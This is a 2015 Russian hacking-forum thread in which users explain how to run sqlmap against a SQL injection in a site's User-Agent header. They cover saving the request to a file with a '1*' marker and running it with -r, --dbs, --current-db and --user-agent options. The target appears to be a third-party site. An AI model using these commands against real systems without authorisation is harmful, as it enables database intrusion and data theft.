Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Sql in User-agent (https://forum.antichat.xyz/showthread.php?t=430705)

Octavian 25.09.2015 19:36

Ребят как провесть такую инекцыю в скулмап а то он параметр усер агент непроверяет как ему подсказать а точнее какая команда?

http://incomas.md/23.jpg

BabaDook 25.09.2015 20:53

слепая походу.Лучше sqlmap у передай это дело

Octavian 25.09.2015 20:59

Цитата:

Сообщение от BabaDook

слепая походу.Лучше sqlmap у передай это дело

он непроверяет параметр усер агент нужна какая нибудь команда типо пост инекцыии --data"=.." -p "user-agent:" чтота такое но так нехочет

Octavian 25.09.2015 21:04

скулмап пишет тмпо параметр referer: not injectable а остальные параметры он непроверяет

grimnir 25.09.2015 21:35

Да есть там опция --user-agentно я делаю так

1)Создаешь текстовый файл 1.txt

2)туда вставляешь твой текст от GET до Accept: */*

3)вместо твоей скули пишешь 1* в поле юзер агента только не затри пробел получится

User-Agent: 1*

4)Скулимапу скармливаешь с параметром -r "путь до файла 1.txt"

Octavian 25.09.2015 21:46

Цитата:

Сообщение от grimnir

Да есть там опция
--user-agent
но я делаю так
1)Создаешь текстовый файл 1.txt
2)туда вставляешь твой текст от GET до Accept: */*
3)вместо твоей скули пишешь 1* в поле юзер агента только не затри пробел получится
User-Agent: 1*
4)Скулимапу скармливаешь с параметром -r "путь до файла 1.txt"

--url="http://site/index.php" --risk=3 --level=3 -r "C:\Users\братка\Desktop\1.txt" --dbs

ошибка

option '-r' is incompatible with option '-u' ('--url')

grimnir 25.09.2015 22:03

python.exe sqlmap.py -r "C:\1.txt" --eta --random-agent --threads=10 --level=5 --current-db

Octavian 25.09.2015 23:37

ехх неполучилось (

faza02 26.09.2015 12:03

Цитата:

Сообщение от grimnir

python.exe sqlmap.py -r "C:\1.txt" --eta --random-agent --threads=10 --level=5 --current-db

рандом агент для скули в юзер агенте? укажите параметр --user-agent="Mozilla blabla*" без всякой даты и т. д.

grimnir 26.09.2015 12:04

Цитата:

Сообщение от yarbabin

рандом агент для скули в юзер агенте? укажите параметр --user-agent="Mozilla blabla*" без всякой даты и т. д.

О точно,не то написал ,благодарю за внимательность


Время: 02:05